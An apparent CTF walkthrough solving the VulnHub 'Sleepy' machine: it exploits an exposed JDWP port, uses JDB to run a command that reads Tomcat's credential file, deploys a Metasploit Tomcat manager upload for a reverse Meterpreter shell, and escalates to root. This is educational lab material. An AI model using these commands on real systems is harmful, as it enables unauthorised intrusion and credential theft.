In this article, we are going to solve a machine which was posted as another VM challenge on the VulnHub website. The machine is named Sleepy. Check the link for the same at the end of this article. So, let’s get started.

I started with running a complete Nmap scan on the target machine. I got only 3 Ports open on the target machine. It can be seen in the below screenshot.


After that, I start exploring all the ports one by one. On Port No 21, I tried the anonymous Login on the target machine, but I did not find any interesting information in the public directory. Anonymous successful login can be seen in the below screenshot.


This vulnerability alone was not sufficient for the exploitation of the target machine. So, I started to explore the other ports which were found open during the Nmap. The second interesting Port which was identified during Nmap scan was 9001 which was being used for JDWP (Java Debug Wire Protocol). I started googling and found that the version of JDWP that was being used on the target machine was vulnerable to remote code execution, and a Metasploit exploit was also available for the same. It can be seen in the below screenshot.


After that, I quickly launched the Metasploit framework to set up the attack on the target machine. I filled up all the required parameters and started the attack on the target machine. Other details can be seen in the below screenshot.


Let me describe few things in the above screenshot. First of all, I have setup all the required parameters for the exploit such as RHOST < Target IP >, RPORT < Target PORT >, LPORT < Local IP for Reverse Connection>, LPORT < Local Port for Reverse Connection >. After that, I ran a command check. Check is a command which is used to verify whether the target machine is vulnerable or not. The output of the command gives a smile on my face as it was showing that target machine was vulnerable for the exploit. So, I fired the Metasploit gun on the target machine hoping for the reverse connection. However, the final output was not as expected. It says that “Exploit Completed, but no session was created.”

After that, I tried many different ways to run this exploit, but it was not successful. So, I decided to explore some other method to break the target machine. After doing some research on it, I found a way in which I will be adding an Apache module and doing some configuration changes. Steps are given below.

  1. First of all, I installed the module libapache2-mod-jk. It can be seen in the below screenshot.


As we can see in the above screenshot, the Apache module is successfully installed and configured.

  1. After that, I did some changes in the configuration of the module.

    Configuration Changes File Name: /etc/apache2/mods-available/jk.conf


In the highlighted area on the above screenshot, you can see that I have changed JKWorkerFile /etc/libapache2-mod-jk/workers.properties to /etc/apache2/workers.properties file Path.

  1. Now, I copied the worker.properties file from /etc/libapache2-mod-jk/workers.properties to /etc/apache2/ folder. It can be seen in the below screenshot.


  1. It is time to change the IP Address in the worker.properties file. It can be seen in the above screenshot.


As can be seen in the highlighted area we have added the target machine IP address in the worker.host.

  1. After this change, I have done one more change in the Apache default configuration file for the exploit to work.

    File Name: /etc/apache2/sites-available/000-default.conf


In the above screenshot, highlighted line is added by me.

Now it is time to hit the localhost on the browser.


We can see in the above screenshot; my machine is now linked with the target machine, and the target machine Tomcat is running on my localhost. However, I cannot access the Manage App section as it requires the password.

So, I connected the target machine using JDB through port 9001 without the credentials it can be seen in the below screenshot.


To access the Manage App section on this machine, we require the password. The login credentials in Tomcat are stored in the “/etc/tomcat/tomcat-users.xml” file. So, I wrote some Java code for reading this file. It can be seen in the below screenshot.

Command Used:

  1. jdb -attach 192.168.1.70:9001
  2. threads
  3. interrupt 0x1a1 {Interrupting the Main Thread}
  4. print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec(“tail -n 3 /etc/tomcat/tomcat-users.xml”).getInputStream())).readLine()) {Extracting the credentials from the target machine}


As can be seen in the above screenshot, by running the commands one by one I successfully retrieved the credentials from the file. Now that we have the credentials we can login in the tomcat Manage App section.


As can be seen in the above screenshot, I have successfully logged in into the application. After that, I used Metasploit exploit for shell access. Used commands are given below.

  • use exploit/multi/http/tomcat_mgr_upload
  • set HttpPassword Gu3SSmYStR0NgPa$sw0rD!
  • set HttpUsername sl33py
  • set rhost 127.0.0.1
  • set rport 80
  • set LHOST 192.168.1.120

In the below screenshot, I ran above command one by one.


Ethical Hacking Training – Resources (InfoSec)

As can be seen in the above screenshot, after setting all the required options I hit the exploit, and successfully got the Meterpreter Reverse connection shell of the target machine. After running few commands, I got to know that this is the limited shell access and I need to take the root access to complete the machine.

I tried a few methods, but those methods were not working. So, I started to use g0tmilk Linux Privilege Escalation checklist. This is a very helpful checklist for enumeration. You may check the URL that is given in the reference section. After spending some time on the enumeration, I got a command which returns all the executables that could be run as owner, not the user who started it. The output of the command can be seen in the below screenshot.


In the above screenshot, the list of the executables is given which could be run with this user. While exploring these executables, I found an interesting file which says, “Error Opening Terminal.” It can be seen in the below screenshot.


After doing some reverse engineering on this executable file. I found that this is used to include and execute other commands as a root. So, I ran this command in the first terminal, and I took another session to kill the process.


As can be seen in the below screenshot, I ran a few commands in T1, and after that I ran process, and at the same time I ran PS command to check the process ID of that process and after getting the process ID I ran the kill command to terminate the process which gave me root shell in the T1 screen.

Finally, I go a root shell on this machine. Let’s read the flag in the root folder.


As can be seen in the above screenshot, I got the flag. And now, the Challenge is Completed!

References:

https://www.vulnhub.com/entry/devrandom-sleepy,123/

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/